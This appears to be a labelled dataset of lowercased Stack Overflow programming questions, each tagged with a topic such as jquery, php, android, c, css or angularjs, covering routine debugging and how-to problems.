loaded content jquery action inactive  i don t understand why a jquery action of a loaded page  edit_img.php  doesn t work whereas this jquery action works when  edit_img.php  is opened like a normal php page (not a loaded content with load() )    the way  edit_img.php  is loaded :   <pre><code>    $( button#edit_img ).click(function(){         $( div#profil_wall ).load( edit_img.php );      }); </code></pre>    edit_img.php  jquery action which doesn t work :   <pre><code>    $( button#show_info ).click(function(){         $( div#mini_div_info ).show();       }); </code></pre>,jquery
output buffering not rendering php content  i have a template controller. in this controller i load the appropriate template with <code>require_once</code> like this:   <pre><code>ob_start(); $userinfo = $user-&gt;userdetails($_session[ userid ]); require_once( /templates/1/file1.php ); $output = ob_get_clean(); </code></pre>   file1.php (the file being  required  in the template controller) needs access to <code>$userinfo</code> however  it does not. am i doing something wrong with the output buffer,php
query for first row of choice  i was trying to build a query which will return all the rows but first row of my choice.    example:-    table   <pre><code>id     type       name 1      fruit      apple 2      fruit      orange 3      veg        broccoli 4      fruit      banana 5      fruit      grape 6      fruit      kiwi </code></pre>   now  query should return list of fruits but banana on top. result should be   <pre><code>banana apple grape kiwi orange </code></pre>   thank you!,sql
memory leaked (activity leak) caused by cookiesyncmanager   i used mat tool in eclipse to investigate a memory leak issue and found that  occasionally  a cookiesyncmanager thread instance leaks my activity. the path from my activity to gc root is as following:   <pre><code>com.mycompany.myapp.myactivity   --&gt; mcontext  com.android.internal.policy.impl.phonefallbackeventhandler     --&gt; mfallbackeventhandler  android.view.viewroot       --&gt; target  android.os.message         --&gt; &lt;java local&gt; java.lang.thread cookiesyncmanager thread </code></pre>   myactivity called cookiesyncmanager.createinstance(this.getapplicationcontext()); in oncreate()  but it doesn t use any webview. it only contains some animations. i don t understand why it is leaked by cookiesyncmanager. can someone help     thanks.,android
how to format the time and date from a string using jquery  i have a string that outputs <strong>10/15/2013 23:59:59</strong>    i am trying to separate the values to determine the amount of time between them and the current time and date.  dose anyone know if this is possible in jquery,jquery
how to disable access to the part of my rails app   there is some rails app with 2 parts: admin panel and api for the mobile client. my rails app uses https  and i want to disable access to the api through browser  only through my       mobile client. is it possible  how can i do it,ruby-on-rails
checking vsvars32.bat is run or not  can i ensure the batch file <code>vsvars32.bat</code> has run or not  is there any environment variable through which i can confirm that it has been run or not.,.net
c# how to convert string in to unique id  let assume we have string  name =  stackoverflow.com ;    how to convert this string  int to a unique id or some sort of hash. (no md5 because its too big) and it should not be random    i will like to have something like this     please note string itself is too big i would like to know if the string can be written shorter. in an combination of letters  numbers and symbols   <blockquote>    f¤k^§~7d æ  </blockquote>,.net
drawable selector is not working for layout in the nexus devices  in my application setting a background of relative layout as      <pre><code>&lt;item android:drawable= @color/box_pressed  android:state_pressed= true &gt;&lt;/item&gt; &lt;item android:drawable= @color/box_pressed   android:state_focused= true  /&gt; &lt;item android:drawable= @color/box_default  android:state_selected= false &gt;&lt;/item&gt; </code></pre>    the layout is used in the  adapter.but in case of nexus device the selector is not working when i tap on the layout first time. please suggest a solution.,android
why are the inherit css properties lost   demo url: <a href= http://linjuming.pydra.org/zc_up/index.php main_page=index&amp;cpath=1_2  rel= nofollow noreferrer >http://linjuming.pydra.org/zc_up/index.php main_page=index&amp;cpath=1_2</a><br> i am using oocss css framework in my site. a strange question comes out. <br>   <pre><code>.complex .tl  .complex .tr {   height: 32000px;   margin-bottom: -32000px;   width: 10px; } </code></pre>   these code is from stylesheet_010_oocss.css.<br> but not the same inherited by two place. why this happend <br><br> <img src= https://i.stack.imgur.com/mljvd.png  alt= enter image description here >,css
long press menu button (for samsung galaxy s i9000)  how can i intercept menu button long press  in order to launch my app   is there any configuration in manifest.xml able to do this      thank you.    a.l.,android
ask password in lacontext swift  i am trying to implement the touchid validation in my app. i have found many examples explaining how to do it (and i did it) but the thing is i don t know how to give the user the posibility of enter his/her password if he/she want to. and also i want to know the best way of closing my app if for example the user decided to press  cancel  button in the touchid s alertview. thanks!!    here is my code:    <pre><code>    func validaidentidad(){     var touchidcontext = lacontext()     var msgerror : nserror      var alerta = uialertcontroller(title:    message:    preferredstyle: uialertcontrollerstyle.alert)     alerta.addaction(uialertaction(title:  understand   style: uialertactionstyle.cancel  handler: {alertaction in         alerta.dismissviewcontrolleranimated(true  completion: nil)}))      if touchidcontext.canevaluatepolicy(lapolicy.deviceownerauthenticationwithbiometrics  error: &amp;msgerror) {         touchidcontext.evaluatepolicy(lapolicy.deviceownerauthenticationwithbiometrics              localizedreason:  please authenticate using your fingerprint               reply: {(success: bool  error: nserror!) -&gt; void in                 if success {                     //si valida  dejo abrir la app                     self.transicion()                 } else {                     alerta.title =  error                      switch error!.code {                     case laerror.usercancel.toraw():                         alerta.message =  accion cancelada                          self.presentviewcontroller(alerta  animated:true  completion:nil)                         exit(0)                     case laerror.authenticationfailed.toraw():                         alerta.message =  error verificando tu identidad                      case laerror.userfallback.toraw():                         alerta.message =  usuario quiero ingresar passcode                      default:                         alerta.message =  error genérico                      }                     //exit(0)                     //self.presentviewcontroller(alerta  animated:true  completion:nil)                 }         })     }     else {         alerta.title =  nope!          switch msgerror!.code {         case laerror.touchidnotavailable.toraw():             alerta.message =  este dispositivo no tiene touch id          case laerror.touchidnotenrolled.toraw():             alerta.message =  no se ha configurado el touch id          case laerror.passcodenotset.toraw():             alerta.message =  no se ha configurado un passcode          default:             alerta.message =  error genérico          }         self.presentviewcontroller(alerta  animated:true  completion:nil)     }//cierre else }//cierre func validaidentidad </code></pre>,ios
why won t this css work in ie 8   the padding  margin etc. all work  but the image won t display in ie 8  any idea why     css   <pre><code>.arrow { background:url(images/arrow.png) center left no-repeat; padding-left:23px; padding-right:10px; border-right:0px solid #e6e6e6; margin-right:10px; } </code></pre>   html   <pre><code>&lt;div class= arrow &gt; &lt;h3&gt;&lt;b&gt;headline&lt;/b&gt;&lt;/h3&gt; &lt;/div&gt; </code></pre>   <code>h3</code> css   <pre><code>h3{ font-size:14px; text-transform:uppercase; } </code></pre>,css
wait while jquery.html() is fully loaded   in jquery i load some html into a div like this:   <pre><code>$( #test ).html( hello &lt;img src= pic.jpg &gt; ); </code></pre>   <strong>is there a way to know if the html is fully loaded </strong> i mean i set the content  but the image needs a while to load.. i would like to wait until the whole html is loaded...    i could use $( img ).load(... but it doesn t work for content loaded by $.html any other ideas     thanks,jquery
iphone: viewcontroller ends up badly after simulating memory warning  i have a view controller homeviewcontroller which shows some grids. once i go to an inner view controller by clicking on a grid  i do a  simulate memory warning  in the simulator menu. now  when i press back button go back to homeviewcontroller  the grids become bare - white in colour.    any idea why this is happening   any suggestions on how to debug this     some more details: the homeviewcontroller view is itself loads from a nib. each of the grid (gridview) loads separately from a grid.xib.,iphone
assignment of a character to an unsigned int gives 3 all 1s bytes appended  ok so i m building a simple dns client program (without the use of things like getaddrinfo) in c  but i m getting a weird issue when i print out the response address.  the following code correctly prints out <code>addr = 130.127.69.75</code>  however  when i comment out the memcpy call and uncomment the line after it  my output becomes <code>addr = 4294967170.127.69.75</code>   <pre><code>temp[0] = resp[j++]; temp[1] = resp[j++]; memcpy(&amp;response.rdlength  temp  2);  printf( resp.rdlength = %d\n   response.rdlength); response.rdlength = ntohs(response.rdlength); for(i = 0; i &lt; response.rdlength; i++) {     temp[i] = resp[j++]; }  memcpy(&amp;response.addr  temp  response.rdlength); response.addr = ntohl(response.addr); unsigned int *a = &amp;response.addr; unsigned int *b = (unsigned int *)malloc(sizeof(unsigned int) * 4); printf( addr = %x\n   *a); printf( temp = %c\n   temp[0]); for(i = 0; i &lt; 4; i++) {     b[i] = 0;     memcpy(&amp;b[i]  &amp;temp[i]  1);     //b[i] = (unsigned int)temp[i];          } printf( addr = %u.%u.%u.%u\n   b[0]  b[1]  b[2]  b[3]); //      exit(2);         </code></pre>   i m just really not sure why that commented out assignment statement gives such a bizarre output  and would appreciate some clarification on why i might be seeing that behavior  and how i can get around it (without memcpy).  i can post more of the code if necessary  but i think anything above what i ve shown is just a lot of parsing other parts of the response packet  so i haven t initially included it.,c
how to move the background running app to foreground by its package name  i am having question regarding launching and resuming the already running apps.i had gone through various methods to solve this problem but it always created new instance if the particular app is already running.i had tested some apps like <code>omni swipe</code> <code>eas:easy app switcher</code> etc; these type of apps can successfully resume the particular background running app.i have no idea how do they move the running app to foreground and resumes it perfectly.i think they use <code>queryintentactivites()</code> but i don t know about it perfectly.can anyone help me..,android
html div auto width  i have a container div and 3 inner divs that places them all in one row. the side divs have fixed width and i want auto width for the middle div. this is my code:   <pre><code>&lt;div style= width: auto; height: 25px; position: relative; float: right; &gt;     &lt;div style= width: 25px; height:25p; float: right; position: relative; display:inline-block; &gt;     &lt;div style= width: auto; height: 25px; position: relative; float: right; display:inline-block; &gt;&lt;/div&gt;     &lt;div style= width: 25px; height:25p; float: right; position: relative; display:inline-block; &gt; &lt;/div&gt; </code></pre>   ...but middle div doesn t take any space.     <strong>note: i don t want the container div to have fixed or percentage size.</strong>     what is the solution,html
jquery post caused permission denied warning in ie 6 and ie 7  i am using firefox 3 and ie 6  7 to test if a simple php web page using jquery post to pass some data to and from another server web page.   <pre><code>$(document).ready(function(){      $( #data\\[user\\]\\[name\\] ).click(function(){         var usr=$( #data\\[user\\]\\[name\\] ).val();     if(usr.length &gt;= 4){             $( #username ).append( &lt;span id= loaderimg  name= loaderimg &gt;&lt;img align= absmiddle  src= loader.gif /&gt; checking data availability &amp;nbsp;please wait.&lt;/span&gt; );        var url =   http://mysite.com/site1/toavail/ +usr;           $.post(       url            function(data) {alert(data);}); }     }); }); //--&gt; &lt;/script&gt;   &lt;table border=0 width= 100% &gt; &lt;tr&gt;     &lt;td&gt;username&lt;/td&gt;     &lt;td&gt;                &lt;div id= username &gt;     &lt;input type= text  name= data[user][name]  id= data[user][name] &gt;     &lt;/div&gt;                &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>   in firefox 3  the alert box showed empty message. in ie 6 and ie 7  i got an error message saying  permssion denied,jquery
how to create a text field  i m new to cocoa. i create project where i have one textfield and one button. i make function for button  where i start my other function and it s ok. but i need to take number value from textfield as parameter for my function...like this:   <pre><code>@implementation appcontroller  - (ibaction)startreconstruction:(id)sender { int recline = //here i need something like textfield1.getintvalue(); drawgl(recline); } @end </code></pre>   in ib i only create number formated text field. but i don t know how to call it from code :(    thanks for help,objective-c
leave app in .net 2.0  or upgrade to 4.0   i know questions like this have been asked before  and i ve viewed a lot of them. i <em>think</em> my question is a little different  but if i m wrong  feel free to point me to another thread.    i have a mature .net 2.0 application which is used by many people in my company. i compile it using vs2010. what i m wondering is if there s any reason to upgrade it to 4.0  if i don t need any of 4.0 s features  keep in mind that i do new development in 4.0 - so the question is only about this existing  mature app.    please don t give me a list of things i can do with 4.0 that i can t do with 2.0. i already know them (or at least most of them). what i want to know is  if i don t intend on using any of the new .net 4.0 features in this app  should i just leave my app in 2.0  or upgrade it     and let s assume that my users can be guaranteed to have both versions installed  so that s not an issue.    perhaps a better question might be  are there any downsides to leaving it in 2.0  if i don t need any of the new 4.0 features,.net
$httpbackend.flush() throws error if the get request is cached  i am trying to test that my service is using cached get requests.    dumbed down version of the test:   <pre><code>  var url =  /test ;   var whentestrequest = $httpbackend.when( get   url);    whentestrequest.respond(200   r1 );   $http({ url: url  method:  get   cache: true }).success(function (value) {     expect(value).tobe( r1 );   });   $httpbackend.flush();    whentestrequest.respond(200   r2 );   $http({ url: url  method:  get   cache: true }).success(function (value) {     expect(value).tobe( r1 );   });   $httpbackend.flush(); </code></pre>   i require the second <code>$httpbackend.flush()</code> so that my second <code>success</code> function gets called  but that second call to <code>flush</code> throws:    <blockquote>    error: no pending request to flush !  </blockquote>   so i need to wrap <code>flush</code> in the <code>try</code>/<code>catch</code>. that works  but is there a correct way of handling this,angularjs
one piece of javascript breaking another  the website can be found here: <a href= http://www.healthygit.com  rel= nofollow >http://www.healthygit.com</a>    basically when the site loads depending on what order i include the javascript depends what breaks  for example:    if i include the menu javascript (below) first then the menu will not work but the image slider will.    menu js:    <pre><code>&lt;script type= text/javascript  src= js/jquery.js &gt;&lt;/script&gt;&lt;!-- jquery --&gt; &lt;script type= text/javascript  src= js/jquery.easing.js &gt;&lt;/script&gt;&lt;!-- jquery easing   effects --&gt; &lt;script type= text/javascript  src= js/megamenu_plugins.js &gt;&lt;/script&gt;&lt;!-- mega menu plugins (scroller  form  hoverintent) --&gt; &lt;script type= text/javascript  src= js/megamenu.js &gt;&lt;/script&gt;&lt;!-- mega menu script --&gt; </code></pre>   but if i include the menu files last the menu will work and the slider will not  the slider files are:   <pre><code>&lt;script type= text/javascript  src= js/jquery.list-rotator.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/preview.js &gt;&lt;/script&gt; </code></pre>   the errors i am getting are:   <pre><code>referenceerror: jquery is not defined ...) delay:m(a(this).attr( delay ) be) effect:r[a(this).attr( effect )]!=undefined ...  jquery....min.js (line 1) </code></pre>   and   <pre><code>referenceerror: $ is not defined  $(document).ready(  preview.js (line 1) </code></pre>   can anyone help me please,javascript
implement an edit button in toolbar (storyboard)  i m trying to implement a toolbar button.<br> in this case an edit button in my view. <br> i select the toolbar in the inspector  and i add a button with storyboard. <br> i write this method in the viewdidload but something is wrong. the button isn t displayed in the toolbar.<br>    can somebody help me to make it work    <pre><code> - (void)viewdidload {      [super viewdidload];       uibarbuttonitem *editbutton = [[uibarbuttonitem alloc] initwithtitle:@ birds                                                                      style:uibarbuttonitemstylebordered                                                                     target:self                                                                     action:@selector(gotobirdsview:)];       nsarray *toolbaritems = [nsarray arraywithobject:editbutton];       self.navigationcontroller.toolbarhidden = no; }  -(ibaction)gotobirdsview:(uibutton *)sender  {      [self performseguewithidentifier:seguetobirdslist sender:self]; } </code></pre>,ios
javascript value set null if value equals nothing  right now i am working on a timesheet where users can set their in time  their out time  and how long they ve been at lunch. then i use a function that subtracts the in time &amp; the lunch from their out time to figure out their hours  plus possible overtime. what i want is to have javascript set the value of the overtime field to    (aka null) if the amount of time they were at work is 8 hours or less.     my code for checking overtime is this:   <pre><code>// return difference between two times in hh:mm[am/pm] format as hh:mm function checkovertime(timein  timeout  away) {   // small helper function to pad single digits   function z(n){return (n&lt;10  0 :  ) + n;}   // get difference in minutes   var subtotal = daytimestringtomins(timeout) - daytimestringtomins(timein) - timestringtomins(away);   var regularhours =  08:00 ;   if (subtotal &gt; timestringtomins(regularhours)) {var overtime = daytimestringtomins(timeout) - daytimestringtomins(timein) - timestringtomins(away) - timestringtomins(regularhours);}     else {var overtime =  0 ;}   return   z(overtime/60 | 0) +  :  + z(overtime % 60); } </code></pre>   and then in my calculation function i have this:   <pre><code>if (checkovertime(timein  timeout  away).value ==  00:00 ) {   document.getelementbyid( date-1-overtime ).value =   ; } else {   document.getelementbyid( date-1-overtime ).value = checkovertime(timein  timeout  away); } </code></pre>   so if a person is at work for 8 hours  then the  date-1-overtime  field says  00:00  but i would like it to put nothing in there so the sheet prints out more cleanly.     i think maybe i am confusing the difference between strings and integers in the calculation functions but i m not sure  hopefully someone could help me!,javascript
how to write active record query for selecting certain values in a column  i have a dogs table which has age as an attribute. dogs with ages between 1 year -12 years are in one column and dogs under 1 year have different column. i want to be abel to select dogs that are between 8 - 12 years in age and count them. this is my query but it only selects one dog with certain age.   <pre><code>@checkup = dog.where(age: 8).count </code></pre>,ruby-on-rails
warning: comparison with string literals results in unspecified behaviour  i am starting a project of writing a simplified shell for linux in c. i am not at all proficient with c nor with linux that s exactly the reason i decided it would be a good idea.     starting with the parser  i have already encountered some problems.    the code should be straightforward that s why i didn t include any comments.     i am getting a warning with gcc:  comparison with string literals results in unspecified behaviour  at the lines commented with  warning here  (see code below).     i have no idea why this causes an warning  but the real problem is that even though i am comparing an  &lt;  to an  &lt;  is doesn t get inside the if...    i am looking for an answer for the problem explained  however if there s something that you see in the code that should be improved please say so. just take in mind i am not that proficient and that this is still a work in progress (or better yet  a work in start).    thanks in advance.   <pre><code>#include &lt;stdio.h&gt; #include &lt;unistd.h&gt; #include &lt;string.h&gt;  typedef enum {false  true} bool;  typedef struct {     char **arg;     char *infile;     char *outfile;     int background; } command_info;  int parse_cmd(char *cmd_line  command_info *cmd_info) {     char *arg;     char *args[100];          int i = 0;     arg = strtok(cmd_line    \n );     while (arg != null) {         args[i] = arg;         arg = strtok(null    \n );         i++;     }      int num_elems = i;      cmd_info-&gt;infile = null;     cmd_info-&gt;outfile = null;     cmd_info-&gt;background = 0;      int iarg = 0;     for (i = 0; i &lt; num_elems; i++)     {         if (args[i] ==  &amp; ) //warning here             return -1;               else if (args[i] ==  &lt; ) //warning here             if (args[i+1] != null)                 cmd_info-&gt;infile = args[i+1];             else                 return -1;          else if (args[i] ==  &gt; ) //warning here             if (args[i+1] != null)                 cmd_info-&gt;outfile = args[i+1];             else                 return -1;                    else              cmd_info-&gt;arg[iarg++] = args[i];     }      cmd_info-&gt;arg[iarg] = null;      return 0;    }  void print_cmd(command_info *cmd_info) {     int i;       for (i = 0; cmd_info-&gt;arg[i] != null; i++)         printf( arg[%d]=\ %s\ \n   i  cmd_info-&gt;arg[i]);     printf( arg[%d]=\ %s\ \n   i  cmd_info-&gt;arg[i]);         printf( infile=\ %s\ \n   cmd_info-&gt;infile);     printf( outfile=\ %s\ \n   cmd_info-&gt;outfile);     printf( background=\ %d\ \n   cmd_info-&gt;background); }  int main(int argc  char* argv[]) {     char cmd_line[100];     command_info cmd_info;      printf( &gt;&gt;&gt;  );      fgets(cmd_line  100  stdin);      parse_cmd(cmd_line  &amp;cmd_info);      print_cmd(&amp;cmd_info);      return 0; } </code></pre>,c
force text to wrap  this is my website s main menu:    <img src= https://i.stack.imgur.com/cgsze.jpg  alt= enter image description here >    as you you ll notice  the text inside main menu s items isn t wrapping. i ve tried many solutions suggested but nothing seems to affect these items. here s the css code:   <pre><code>#pt_custommenu .parentmenu a{     width: 100px; height: 59px;     line-height: normal;     padding-top: 0; padding-bottom:0;      float:left;     display: inline-block;     position: relative;     text-transform: none;     word-wrap: normal;     white-space: normal !important; } </code></pre>   i d like to make text break into two lines  like it would normally do  since the <code>&lt;a&gt;</code> element has a standard width and height.     any suggestions,css
uiwindow is reseting my subview  i have two view controllers  one of them is a subview of the other. both views are loaded up via nibs. the sub view controller has it position set in <code>viewdidload</code> of the parent view controller. when the parent view controller is set as the root view controller to the uiwindow  it resets the position of the sub view controller s view back to <code>{0.0  0.0}</code>.    i know it is the window because i decided to observe the frame of the sub view controller s view and added a breakpoint ( the observer is the parent view controller ). the stack trace reports back with:   <pre><code>#0  0x000d34e0 in -[parentviewcontroller observevalueforkeypath:ofobject:change:context:] #1  0x32866eb0 in nskeyvaluenotifyobserver () #2  0x32866b0a in nskeyvaluedidchange () #3  0x32840eca in -[nsobject(nskeyvalueobservernotification) didchangevalueforkey:] () #4  0x39b87d9e in -[uiviewcontroller viewdidmovetowindow:shouldappearordisappear:] () #5  0x39b4075e in -[uiview(internal) _didmovefromwindow:towindow:] () #6  0x39b405be in -[uiview(internal) _didmovefromwindow:towindow:] () #7  0x39b3ae4a in -[uiview(hierarchy) _postmovedfromsuperview:] () #8  0x39b227dc in -[uiview(internal) _addsubview:positioned:relativeto:] () #9  0x39b222c2 in -[uiview(hierarchy) addsubview:] () #10 0x39b7fe42 in -[uiwindow addrootviewcontrollerviewifpossible] () #11 0x39b7bae4 in -[uiwindow _sethidden:forced:] () </code></pre>   if i m not meant to set the position in <code>viewdidload</code> where am i meant to set it     <strong>update:</strong> i thought it was just the position being changed  but through the same path  the dimension are being set. in the nib  it is set at landscape dimensions  but the frame is being set to portrait dimension at <code>{0.0  0.0}</code>.,ios
php array_rand in loop where value is always different from previous value  i have a php script as follows:   <pre><code>&lt; php $a = [1 =&gt; 1  2 =&gt; 2  3 =&gt; 3];  for ($x=1; $x&lt;10; $x++) {     $r = array_rand($a);     echo $a[$r] .  &lt;br&gt; ; }  &gt; </code></pre>   the output for this is random every time  but as an example it may be this:    2 1 3 3 2 3 1 3 2    what i m trying to achieve is to make sure that each time a value is output it is different from the previous value. so in the example above i don t want 3 3 to occur.    i tried to come up with my own solution which involved storing the  current  output value in a variable called <code>$current_value</code> and making sure it s not what s going to be output next:   <pre><code>&lt; php $a = [1 =&gt; 1  2 =&gt; 2  3 =&gt; 3];  $current_value = false; for ($x=1; $x&lt;10; $x++) {      if ($current_value) {         $r = array_rand($a);         while ($current_value !== $r) {             echo $a[$r] .  &lt;br&gt; ;             $current_value = $a[$r];         }     } else {         $r = array_rand($a);         echo $a[$r] .  &lt;br&gt; ;         $current_value = $a[$r];     } }  &gt; </code></pre>   although i don t get the same value appearing in sequence (at least from what i ve tested) the loop only outputs a random number of figures which is usually less than <code>$x&lt;10</code>. my guess here is that there s nothing to handle <code>$current_value == $r</code> so it simply outputs nothing     please could someone advise on how to achieve this  the expected output is 9 (or whatever the <code>for</code> loop counter is set to) integers with no overlap in the sequence  e.g.    2 1 3 1 2 3 1 3 2    <b>edit: the value which is output must always be 1  2 or 3. this is why i was using <code>$a</code> as defined.</b>,php
error: argument list too long: recursive header expansion failed  can any one help me solving this error...  argument list too long: recursive header expansion failed at /applications/xcode.app/contents/developer/documentation/docsets/com.apple.adc.documentation.appleios6.1.ioslibrary.docset/contents/resources/tokens/objective-c/clm/avsynchronizedlayer. thanks for watching!,iphone
angularjs $httpbackend -  no more request expected  error  it seems <a href= http://jsfiddle.net/egmpe/8/  rel= noreferrer >this</a> is working solution that shows how to work with <code>$httpbacked</code> <a href= http://jsfiddle.net/egmpe/8/  rel= noreferrer >http://jsfiddle.net/egmpe/8/</a>    but for my case:    <strong>routes</strong>   <pre><code>app.config([ $routeprovider   function($routeprovider) { $routeprovider.      when( /    {templateurl:  partials/user-list.html }). </code></pre>   ...    <strong>faked service:</strong>   <pre><code>app.run(function($httpbackend) {          var users = [{ id :1  name : bob   email : bob@bobs.com }  { id :2  name : bob2   email : bob2@bobs.com }]          $httpbackend.whenget( /rest/users ).respond(function(method url data) {             console.log( getting users );             return [200  users  {}];         });     }); </code></pre>   ..    <strong>real service:</strong>   <pre><code>services.factory( users   function($resource){     return $resource( /rest/users   {}  {         get:        {method:  get   isarray:true}     }); }); </code></pre>   i have <strong>error</strong> when go to my  /  route that redirects me to <code>user-list.html</code> page:   <blockquote>    error: unexpected request: get partials/user-list.html no more request   expected       at $httpbackend .../mysite/public/angular/libs/angular-1.2.0/angular-mocks.js:1060:9)  </blockquote>   <strong>question1:</strong> does <code>httpbackend</code> prevent doing any other <code>http</code> request      i tried to use <strong>passthrough</strong> method to let http hit real server side:   <pre><code>$httpbackend.whenget(/^\/mysite\//).passthrough(); </code></pre>   but this does not help.,angularjs
how to save data in local database in visual studio 2012  i was just refreshing my coding abilities. but unable to recall much  here i am to get your favourable assistance for continuing my interest with technology.    i am trying to practice in developing a local database while accessing through gui of visual studio 2012 in dot net framework 4.    i using below code to insert the data in database which is been visible in data grid view but is not saving in database.   <pre><code>sqlconnection con = new sqlconnection(global::dbpracticewddotnet4.properties.settings.default.dbpractnet4connectionstring); con.open(); string sql =  insert into practice (name contact email username password access) values(  +txtname.text+     +txtcontact.text+     +txtemailid.text+     +txtusrnm.text+     +txtusrpswrd.text+    +1+ ) ; sqlcommand cmd = new sqlcommand(sql con); cmd.executenonquery(); this.practicetableadapter.fill(this.dbpractnet4dataset.practice);  messagebox.show( added successfully.....   message  messageboxbuttons.ok messageboxicon.information); </code></pre>   <img src= https://i.stack.imgur.com/hpmwx.jpg  alt= enter image description here >    <img src= https://i.stack.imgur.com/e1xba.jpg  alt= enter image description here >    here i uploaded the screen shot of the result. requesting to please assists on how could i work to save the data in database.    regards,c#
how to bind a list<string> to gridview in asp.net   i am hitting an api and storing the returned parsed data to a <code>list</code>. currently i am displaying the data in the <code>listview</code>. i am not able display the same list in a <code>gridview</code>. can anyone guide me how to do it     this is my aspx.cs code:   <pre><code>    protected void page_load(object sender  eventargs e)     {         comoditylist obj_comodity_in = (comoditylist)session[ comodity_list ];         label1.text = obj_comodity_in.status_code;         label2.text = obj_comodity_in.count.tostring();          //comoditylist obj_comodity_in = (comoditylist)session[ comodity_list ];          list&lt;string&gt; commodity_names = null;         getcomoditynames(out commodity_names  obj_comodity_in);         listview1.datasource = commodity_names;         listview1.databind();        }     private void getcomoditynames(out list&lt;string&gt; commodity_names  comoditylist cl)     {         commodity_names = new list&lt;string&gt;();         foreach (commodity c in cl.data)         {             commodity_names.add(c.commodity);             commodity_names.add(c.state);             commodity_names.add(c.market);             commodity_names.add(c.maximum_price.tostring());             commodity_names.add(c.minimum_price.tostring());             commodity_names.add(c.modal_price.tostring());             commodity_names.add(c.origin);             commodity_names.add(c.unit);             commodity_names.add(c.variety);           }     } </code></pre>,asp.net
angularjs : dom manipulation replacing and then reattaching to another parent with map <blockquote>    problem  </blockquote>   i have a dom element  which i want to <strong>detach it</strong> from its parent and <strong>append it</strong> at some other location in the dom  angularjs way.    i could easily do this in jquery with detach and appendto  but i am unable  to find the same in angularjs way.   <pre><code>  var detached = jquery( .tobedetached );   jquery( .itemmaximixed ).append(detached); </code></pre>   note i need to detach since the element contains a <strong>map</strong> in it.,angularjs
create table layout using <div/> with width & height as percentages  how to create table layout in html only by using  by passing both width &amp; height parameters as percentages  not pixels so that it works as the same in all the browsers  also pls suggest some good material or link where i can find the format for required attributes &amp; their values used to accomplish this task.early replies are appreciated.,html
undefined reference errror for cairo h. how do you link it to a compiler   i added cairo.h to run a image processing code. getting this error   <pre><code>ccmkp8gv.o:flow.c:(.text+0x621): undefined reference to  `cairo_format_stride_for_width  </code></pre>   i think it is a linker-error  but i am not quite sure how to solve it.<br> can anyone help     <strong>code</strong>   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;stdint.h&gt; #include &lt;string.h&gt; #include &lt;math.h&gt;  #include &lt;cairo.h&gt;  #ifndef m_pi #define m_pi 3.1415927 #endif  #define gr(x y) (d[(*s)*(y)+bpp*(x)+((2)%bpp)]) #define gg(x y) (d[(*s)*(y)+bpp*(x)+((1)%bpp)]) #define gb(x y) (d[(*s)*(y)+bpp*(x)+((0)%bpp)]) #define sr(x y) (ht[4*tw*((y)%th)+4*((x)%tw)+2]) #define sg(x y) (ht[4*tw*((y)%th)+4*((x)%tw)+1]) #define sb(x y) (ht[4*tw*((y)%th)+4*((x)%tw)+0]) #define rad(a)  (m_pi*((double)(a))/180.0) uint8_t *houghtransform(uint8_t *d  int *w  int *h  int *s  int bpp) {   int rho  theta  y  x  w = *w  h = *h;   int th = sqrt(w*w + h*h)/2.0;   int tw = 360;   uint8_t *ht = ( uint8_t*)malloc(th*tw*4);   memset(ht  0  4*th*tw); // black bg    for(rho = 0; rho &lt; th; rho++)   {     for(theta = 0; theta &lt; tw/*720*/; theta++)     {       double c = cos(rad(theta));       double s = sin(rad(theta));       uint32_t totalred = 0;       uint32_t totalgreen = 0;       uint32_t totalblue = 0;       uint32_t totalpix = 0;       if ( theta &lt; 45 || (theta &gt; 135 &amp;&amp; theta &lt; 225) || theta &gt; 315) {     for(y = 0; y &lt; h; y++) {       double dx = w/2.0 + (rho - (h/2.0-y)*s)/c;       if ( dx &lt; 0 || dx &gt;= w ) continue;       x = floor(dx+.5);       if (x == w) continue;       totalpix++;       totalred += gr(x  y);       totalgreen += gg(x  y);       totalblue += gb(x  y);     }       } else {     for(x = 0; x &lt; w; x++) {       double dy = h/2.0 - (rho - (x - w/2.0)*c)/s;       if ( dy &lt; 0 || dy &gt;= h ) continue;       y = floor(dy+.5);       if (y == h) continue;       totalpix++;       totalred += gr(x  y);       totalgreen += gg(x  y);       totalblue += gb(x  y);           }       }       if ( totalpix &gt; 0 ) {     double dp = totalpix;     sr(theta  rho) = (int)(totalred/dp)   &amp;0xff;     sg(theta  rho) = (int)(totalgreen/dp) &amp;0xff;     sb(theta  rho) = (int)(totalblue/dp)  &amp;0xff;       }     }   }    *h = th;   // sqrt(w*w+h*h)/2   *w = tw;   // 360   *s = 4*tw;   return ht; }  void image_process(char  *rgb) {   cairo_surface_t *inputimg = null;   cairo_surface_t *houghimg = null;    uint8_t *houghdata = null  *inputdata = null;   int w  h  s  bpp;      inputimg = cairo_image_surface_create_for_data((unsigned char*)rgb  cairo_format_rgb24  320  240  cairo_format_stride_for_width ( cairo_format_rgb24  320));    w = cairo_image_surface_get_width(inputimg);   h = cairo_image_surface_get_height(inputimg);   s = cairo_image_surface_get_stride(inputimg);     bpp = cairo_image_surface_get_format(inputimg);   switch(bpp)   {   case cairo_format_argb32: bpp = 4; break;   case cairo_format_rgb24:  bpp = 3; break;   case cairo_format_a8:     bpp = 1; break;   default:     fprintf(stderr   unsupported\n );     goto destroy;   }    inputdata = cairo_image_surface_get_data(inputimg);   houghdata = houghtransform(inputdata  &amp;w  &amp;h  &amp;s  bpp);    printf( w=%d  h=%d\n   w  h);   houghimg = cairo_image_surface_create_for_data(houghdata                           cairo_format_rgb24                           w  h  s);   cairo_surface_write_to_png(houghimg   hello.png );  destroy:   if (inputimg != null) cairo_surface_destroy(inputimg);   if (houghimg != null) cairo_surface_destroy(houghimg);  } </code></pre>,c
what s the difference   i ll preface my question by saying that i m a beginner objective-c developer. what is the difference between:    nsstring * foo;    nsstring* foo;    nsstring *foo;    is there a difference,objective-c
export to excel pdf and doc using ruby on rails  could you please help me in exporting files to excel pdf and .doc format through rails applications,ruby-on-rails
